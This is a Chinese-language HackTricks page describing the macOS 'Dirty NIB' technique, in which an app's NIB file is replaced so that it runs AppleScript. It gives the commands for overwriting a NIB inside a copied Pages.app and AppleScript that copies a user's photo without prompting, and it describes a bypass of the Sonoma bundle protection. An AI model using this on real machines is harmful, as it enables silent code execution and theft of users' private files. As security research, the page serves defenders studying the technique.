7.9 KiB
macOS Dirty NIB
零基础学习AWS黑客技术直至成为专家 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您希望在HackTricks中看到您的公司广告或下载HackTricks的PDF版本,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 探索PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。**
此技术摘自帖子 https://blog.xpnsec.com/dirtynib/
基本信息
NIB文件在苹果的开发生态系统中用于定义用户界面(UI)元素及其在应用程序中的交互。这些文件是使用Interface Builder工具创建的,包含序列化对象,如窗口、按钮和文本字段,这些对象在运行时加载以展示设计的UI。尽管NIB文件仍在使用中,苹果已经开始推荐使用Storyboards来更直观地表示应用程序的UI流程。
{% hint style="danger" %} 此外,NIB文件也可以用来运行任意命令,如果应用中的NIB文件被修改,Gatekeeper仍然允许执行该应用,因此它们可以用来在应用程序内运行任意命令。 {% endhint %}
Dirty NIB注入
首先我们需要创建一个新的NIB文件,我们将使用XCode来完成大部分构建工作。我们开始通过向界面添加一个对象,并将类设置为NSAppleScript:
对于该对象,我们需要设置初始的source
属性,我们可以使用用户定义的运行时属性来完成:
这样就建立了我们的代码执行小工具,它将在请求时运行AppleScript。为了实际触发AppleScript的执行,我们现在只添加一个按钮(当然,你可以在这方面发挥创意;)。按钮将绑定到我们刚刚创建的Apple Script
对象,并将调用executeAndReturnError:
选择器:
为了测试,我们将只使用Apple Script代码:
set theDialogText to "PWND"
display dialog theDialogText
如果我们在XCode调试器中运行这个并点击按钮:
有了从NIB执行任意AppleScript代码的能力,我们接下来需要一个目标。让我们选择Pages作为我们的初始演示目标,这当然是一个苹果应用程序,理论上不应该被我们修改。
我们将首先将应用程序复制到/tmp/
目录:
cp -a -X /Applications/Pages.app /tmp/
然后我们将启动应用程序以避免任何Gatekeeper问题,并允许内容被缓存:
open -W -g -j /Applications/Pages.app
在第一次启动(并终止)应用程序后,我们需要用我们的DirtyNIB文件覆盖一个现有的NIB文件。为了演示目的,我们将覆盖关于面板NIB,这样我们可以控制执行过程:
cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib
一旦我们覆盖了nib,我们可以通过选择About
菜单项来触发执行:
如果我们更仔细地观察Pages,我们会发现它有一个私有权限,允许访问用户的Photos:
因此,我们可以通过修改我们的AppleScript来窃取用户的照片,而不提示用户,来测试我们的POC:
{% code overflow="wrap" %}
use framework "Cocoa"
use framework "Foundation"
set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"
grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1
{% endcode %}
{% hint style="danger" %} 恶意 .xib 文件执行任意代码示例。 {% endhint %}
创建你自己的 DirtyNIB
启动限制
它们基本上阻止在预期位置之外执行应用程序,所以如果你将受到启动限制保护的应用程序复制到 /tmp
,你将无法执行它。
在这篇文章中找到更多信息。
然而,解析文件 /System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4
时,你仍然可以找到没有受到启动限制保护的应用程序,因此你仍然可以注入 NIB 文件到那些任意位置(查看前面的链接学习如何找到这些应用程序)。
额外保护
从 macOS Somona 开始,有一些保护措施防止在应用程序内部写入。然而,如果在运行你复制的二进制文件之前,你更改了 Contents 文件夹的名称,仍然可以绕过这个保护:
- 将
CarPlay Simulator.app
的副本复制到/tmp/
- 重命名
/tmp/Carplay Simulator.app/Contents
为/tmp/CarPlay Simulator.app/NotCon
- 启动二进制文件
/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator
以在 Gatekeeper 中缓存 - 用我们的
Dirty.nib
文件覆盖NotCon/Resources/Base.lproj/MainMenu.nib
- 重命名为
/tmp/CarPlay Simulator.app/Contents
- 再次启动
CarPlay Simulator.app
{% hint style="success" %}
看起来这已经不再可能,因为 macOS 阻止修改 应用程序包内的文件。
所以,在执行应用程序以使用 Gatekeeper 缓存之后,你将无法修改包。
如果你更改了 Contents 目录的名称为 NotCon(如在漏洞中所示),然后执行应用程序的主二进制文件以使用 Gatekeeper 缓存,它将触发错误并不会执行。
{% endhint %}
从零开始学习 AWS 黑客攻击直到成为专家,通过 htARTE (HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果你想在 HackTricks 中看到你的公司广告或下载 HackTricks 的 PDF,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 发现PEASS 家族,我们独家的 NFTs 收藏
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享你的黑客技巧。